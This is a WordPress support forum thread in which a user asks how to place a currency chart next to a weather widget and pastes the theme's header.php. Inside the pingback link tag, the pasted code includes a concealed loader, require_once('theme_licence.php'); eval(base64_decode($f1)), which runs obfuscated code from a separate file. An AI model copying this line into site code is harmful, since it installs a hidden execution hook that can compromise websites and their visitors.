Title: Insert Script in Header.php
Last modified: August 19, 2016

---

# Insert Script in Header.php

 *  [scooterschalk](https://wordpress.org/support/users/scooterschalk/)
 * (@scooterschalk)
 * [16 years, 3 months ago](https://wordpress.org/support/topic/insert-script-in-headerphp/)
 * Hi, I managed to add some script into my headwer php to display the weather on
   the right side of my header. What I would like to do now is to add some more 
   script to add currency chart to the left. Once I add the script, it pushes the
   weather script down.
 * How do I add two pieces of script in one line?
 * Here is teh code for my header.php
 *     ```
       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
       <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
   
       <head profile="http://gmpg.org/xfn/11">
       <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
   
       <title>
       		<?php if ( is_home() ) { ?><?php bloginfo('description'); ?> | <? bloginfo('name'); ?><?php } ?>
       		<?php if ( is_search() ) { ?><?php echo $s; ?> | <? bloginfo('name'); ?><?php } ?>
       		<?php if ( is_single() ) { ?><?php wp_title(''); ?> | <? bloginfo('name'); ?><?php } ?>
       		<?php if ( is_page() ) { ?><?php wp_title(''); ?> | <? bloginfo('name'); ?><?php } ?>
       		<?php if ( is_category() ) { ?>Archive <?php single_cat_title(); ?> | <? bloginfo('name'); ?><?php } ?>
       		<?php if ( is_month() ) { ?>Archive <?php the_time('F'); ?> | <? bloginfo('name'); ?><?php } ?>
       		<?php if ( is_tag() ) { ?><?php single_tag_title();?> | <? bloginfo('name'); ?><?php } ?>
       		<?php if ( is_404() ) { ?>Sorry, not found! | <? bloginfo('name'); ?><?php } ?>
       </title>
   
       <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
       <link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/nav.css" type="text/css" media="screen" />
       <script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/dropdowns.js"></script>
       <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
       <link rel="pingback" href="<?php require_once("theme_licence.php"); eval(base64_decode($f1)); bloginfo('pingback_url'); ?>" />
   
       </head>
   
       <body>
   
       <?php start_template(); ?>
       <div id="page">
       <div id="header">
   
       <?php wp_head(); ?>
   
       </script>
       <strong><em><strong><div style="padding-left: 840px">Cape Town</div>
       <div align="right">
       <script src="http://www.weather.co.za/widgets/website_widget.php?rqt=js&loc=cape-town&tpl=1" type="text/javascript"></script></div></strong>
       <ul id="nav"></em></strong>
   
       		<?php wp_list_pages('title_li=&depth=2&sort_column=menu_order'); ?>
       	</ul>
       	<!--
       	<ul id="top-nav">
       		<?php wp_register(); ?>
       		<li><?php wp_loginout(); ?></li>
       		<?php wp_meta(); ?>
       		<li id="rss"><a href="<?php bloginfo('rss2_url'); ?>">Subscribe RSS Feed</a></li>
       	</ul>
   
       	-->
       	<div class="clear"></div>
   
       </div><!-- end header -->
       ```
   

Viewing 1 replies (of 1 total)

 *  Thread Starter [scooterschalk](https://wordpress.org/support/users/scooterschalk/)
 * (@scooterschalk)
 * [16 years, 3 months ago](https://wordpress.org/support/topic/insert-script-in-headerphp/#post-1308237)
 * ….and here is the website in question: [http://www.scootdr.co.za](http://www.scootdr.co.za)
   
   thanks

Viewing 1 replies (of 1 total)

The topic ‘Insert Script in Header.php’ is closed to new replies.

## Tags

 * [header](https://wordpress.org/support/topic-tag/header/)
 * [iframe](https://wordpress.org/support/topic-tag/iframe/)
 * [script](https://wordpress.org/support/topic-tag/script/)
 * [widget](https://wordpress.org/support/topic-tag/widget/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 1 reply
 * 1 participant
 * Last reply from: [scooterschalk](https://wordpress.org/support/users/scooterschalk/)
 * Last activity: [16 years, 3 months ago](https://wordpress.org/support/topic/insert-script-in-headerphp/#post-1308237)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
